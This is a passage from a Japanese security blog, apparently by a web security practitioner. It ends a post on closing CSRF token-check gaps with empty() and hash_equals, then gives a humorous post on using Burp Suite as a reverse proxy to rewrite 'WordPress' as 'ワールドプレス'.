すなわち、上記のルールを以下のように拡張します。
  • POSTされたトークンが空であるか、または$_SESSION['token']に一致しなければエラー表示
トークンが空かどうかのチェックにはPHPのempty()を使うと良いでしょう。empty()は、NULLでも空文字列でもTRUEを返すので、これら両方をエラーにすることができます。
加えて、PHP 5.6以降を使っている場合は、トークンの比較には === ではなく、hash_equalsを使うとよいでしょう。hash_equalsはタイミング攻撃を防ぐことが元々の目的ですが、引数がともにNULLの場合には FALSE を返すので、トークンがNULLなのにトークンチェックをすり抜けることが防げます。
まとめると以下のようになります。
  • トークンのチェックの際には、トークンが空でないことを確認する
  • 可能であれば hash_equalsによりトークンを比較する
バリデーションでトークンが空でないことを確認すればいいではないかと思う人もいると思いますが、脆弱性の対策は局所的に行うことが重要なのです。そうすることで、脆弱性がないことが一目で確認でき、脆弱性が入りにくくなり、後から「脆弱性がないことを確認する」際にも時間を節約することができます。

まとめ

teratailに投稿された問い合わせフォームを題材として、CSRF対策の漏れやすいポイントを紹介しました。脆弱性診断の実務でも、トークンを空文字列にするとか、トークン自体を削除することでCSRF対策がすり抜けてしまうことはままあります。局所的にトークンが空でないことを確認することにより、このような対策漏れを防ぐことが可能です。

2017年4月10日月曜日

話題のワールドプレス、BurpSuiteでもできるよ

BurpSuite っていうのを使うとWordPressも簡単にワールドプレスにできるよ。

まずは、WordPressをリバースプロキシとして設定します。BurpSuiteを起動して、Proxyタブ - Optionsタブを選択し、Edit Proxy Listnersから下記の画面を表示し、


Bind to portを80として、Bind to addressを All interfaceを選択します。次に、Request handlingタブを選択し、


Support invisible proxyingを選択します。
これで、BurpSuiteをリバースプロキシとして使うことができます。

次に必要に応じてProject optionsタブからConnectionsタブを選択し、Add hostnmae resolution ruleからWordPressホストのホスト名に対するIPアドレスを追加します。


次に、Proxyタブ - Optionsタブを選択し、Match and ReplaceにてWordPressを「ワールドプレス」に変換する…のですが、お約束の文字化けが起こるので、文字数値参照で「&#x30EF;&#x30FC;&#x30EB;&#x30C9;&#x30D7;&#x30EC;&#x30B9;」に変換します。


ここまでできたら、BurpSuiteが稼働しているホストのIPアドレスにアクセスすればおk。


ワールドプレスだって簡単に実現できるです。そう、BurpSuiteならね!

参考文献

ワールドプレスっていうブログを運営するための最強ツール
ワールドプレスっていうブログ運営最強ツールを知ってる?? - 楽しいことを全力に!

フォロワー